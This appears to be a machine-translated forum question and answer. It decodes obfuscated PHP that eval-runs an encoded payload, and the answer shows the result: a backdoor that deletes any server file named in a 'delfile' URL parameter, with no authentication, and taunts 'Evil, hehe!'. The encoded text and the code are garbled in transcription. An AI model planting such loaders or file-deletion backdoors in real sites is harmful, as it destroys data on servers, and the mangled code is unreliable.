Solving a secret solution

Solve secret

 $O 00oo0=urldecode ("%6e1%7a%62%2f%6d%615%5c%76%740%6928%2d%70%78%75%71%79%2a6%6c%72%6b%64%679%5f%65%68%63%73%77 %6f4%2b%6637%6a "); $O 00o0o= $O 00oo0{3}. $O 00oo0{6}. $O 00oo0{33}. $O 00oo0{30}; $O 0oo00= $O 00oo0{33}. $O 00oo0{10}.$ O00OO0{24}. $O 00oo0{10}. $O 00oo0{24}; $OO 0o00= $O 0oo00{0}. $O 00oo0{18}. $O 00oo0{3}. $O 0oo00{0}. $O 0oo00{1}. $O 00oo0{24} ; $OO 0000= $O 00oo0{7}. $O 00oo0{13}; $O 00o0o.= $O 00oo0{22}. $O 00oo0{36}. $O 00oo0{29}. $O 00oo0{26}. $O 00oo0{30}. $O 00oo0{ $O 00oo0{35}. $O 00oo0{26}. $O 00oo0{30};eval ($O 00o0o (" Je8wtzawmd0iq2jrawtvbud1c1rowg5bd3lowulyb2xwtvbpu2ridez6yvzmv0r2znfasmvns0vqefjjqkrtdghavhhncmrwcu9gald1cgf3sm5vtwtrzml5s Fjhy2vtb1hzswxodnnluejfqxpmq2jrwtlxzuhqcur4owhpm3ewyu9zmejewjdzde1ndmhwvw1pyjblavbatzb5r1nhzez2z1nkdnhvzhzpexlcavpxrezkcu R4u0flzzhqc3vdn1l0ttlzde1vbuhxvvl0ttdzde1ndmhqchz4vwr2uzlvs2dvy3lia25zrzlitfnmbxmytfvtz3znbwdurk9pwk1zdg5qs1cwqndnte12avb onu1lsdvvcji1b2hxnwuyytv2dw53s1h3bmz4dk1matrbs2k2cgh3twzxmej3sdbxrhhtzemyvhfeagi3wxruwnz4vwr2awo5c0c5sexttg1zmkxvbwd2tw1n Vezpvmrxrhhvehdeuhb5wdvkzvg1Skjethhlwhpvqmlacuroalblvzbcd0rivweycel3rfbgnupccdvndxm1ywhqnnz4wndpq3jzz3znbwducnn1shhgyvfnehzzwnj3m1vncy9vwkjdchn1wjdzd G5qd0gwcur4u2rdmlrxrghquetxmej3rgjvytjwsxdeuey1bmh0nwfobdvhafa2dnhad2ldcnnndk1tz1ryc3vitvbosnhqbw1vwkjdcdv2adc1dmg3d2ldtw Zxmej3rgi5wxruuhdimhferjbxree4k1l0bjhtwfmwywlibnlitfdvwfn6evhvmlfpc1ltmjuwdlg1mg9ttdvdz1rod2dxsw1gtfvtrnq5d0zmvutidellsex Sbvlkugeychbdrnfvevkxmxlnyvjmrhdqb2m0curbvy9dz3bxwxrntxzouhb2wdfxeuhabnnhovlwmdlvavrtbxmzu2n2t3dgt2latxdizhfeaexyyvgxvvfp Tgx0mdlratbvr1h1etfdmln1czewn1l0tu1tehfkevhmvxdeevphadvnbxhrcknncfdzy2rxrghmqw0yndltt1vjq1h6bgeyoxjtefnbeurqahnnceldm3rob 0r3wnlpcvvdahdkd2hmv2fpcwn5mjl1dkr3tw0zd1b2z1vvqkrsefu2wxhknu9ustu3eefot3hgdznvae5ivxhluezcvmrxrhgxnumzr2rpm3fvbwdtqxlhov Phafbadmd3zhnncultafo3wxruwnznr0phwfpquwliuktpcxptrzl6evhtdutpughumfnrtfrxvhdeblbmvxnrvmlimumyu3v3r3l3tfnzr3dnnxbtwfq5c3v Mcmfymvvzdxdnzlcwqnnir3plz0djuwliuktpcxptrzl4dk9mqwvhoxbdrnnws2lqwnznr0phwfpnzlcwqm91l3hbtkfuqxzqcurqmejvds94qu5bbkf2anfe Efv4d0rqwknpr25hwdltczjxsw1gdezpVlc5c0hhemvnr0lydxkwevhvtmvyr3jzmtbkcurvn1l0tvvhmnbjd0rduffndkldedbqd2dhqxlnvultqtboq09izhlpcwx2zzhyq2dwv1eyr0f5z1vjbuexe Knpdjblt2jvuvzfahdnmvv5z3bjdlkwaennown5rhcrwxruuhdealb3rgpqd0dhtdzvaxg1ysszuwdvckniuzb3sew1q2duoxdgtfvlshrod2c1cg1yvdl3rk D6zwdhsw1yrwh3shzwbuhtvvfpd2h3zzfws2d6vw14etblwtboa0fqag9jndhhrndqb2m0curoalb3rgpqd0ritfrlwelwcktqufz6tw1gyjf5rgiws09ivvf Pc1dht3fjeti5dxzed1bteedsdlywaenpr1jlwdfwd2himmfyejf2vjbod2hiumfpcgr2wdvgewdqoxdbrtj3adgrd1l6aenoaklrudbcd0rquhdealb3wxpn Buzimxleyjblt2jvuwlzy3lyc1jlt3rod2c1cg1yvdl3rnexyxgxtxled1b5eedkevhuoxdys3zyk1g5vwl3uemztdvtz1q5d0z5txzitg5mqxd6a0hinhdbn Hfeagpqd0rquhdeajhvmnzjq3gwk3njzhferjbxrhhtzemyvhfermrxrghmv3zyvvvraux6q1hwcg0xzez5sfnnzxhvcg1oexlcy1q3wxrnvweycel3rgx4ue 5beef3c0w2yvhxnmvcetvvadzrz3zjbuz0ugeyowrtm3c5d0zzvxzedytrshewq3g5cnzjnezvaexxdlhvvw9oqzhvm3ewq3g5cnzjndhvmnzjbuz0kzvvae5 Vznhhqut4aezlwdnkcmu3bmlfrmzxmejsddbcd0rquhdealb3sdbxrghquhdealb3rgjvbuhxvvl0blb3rgpqd0rquetxmej3rgpqd0rquhdnu0flzzhqcytl Re5meenqzmh4uetldnirehzwclh0qxjlc0flafljs0s3tstln0plzvzbs2k5rkrfrmzxmej3rgpqd0rquhdimhfeqtgrijtldmfskcc/ Picuje8wme8wtygktzbptzawkcrptzbpmdaoje8wtzawmcwkt08wmdawkjiplcrptzbpmdaoje8wtzawmcwkt08wmdawlcrptzawmdaplcrptzbpmdaoje8wt zawmcwwlcrptzawmdapkskpow== "));
?>

------Solution--------------------

 
  Ob_start ();
if (Empty ($_get[' delfile '))
{
Echo ';
}
Else
{
if (!file_exists ($_get[' delfile '))
{
Die ("file does not exist! cannot be deleted");
}
Else
{
$file =$_get[' Delfile '];
if (!unlink ($file))
  {
  Echo (' no delete! '). $file. '! Insufficient authority! ');
  }
Else
  {
  Echo (' successfully deleted! '). $file. '! Evil, hehe! ');
  }
  }
}
?>

 
  
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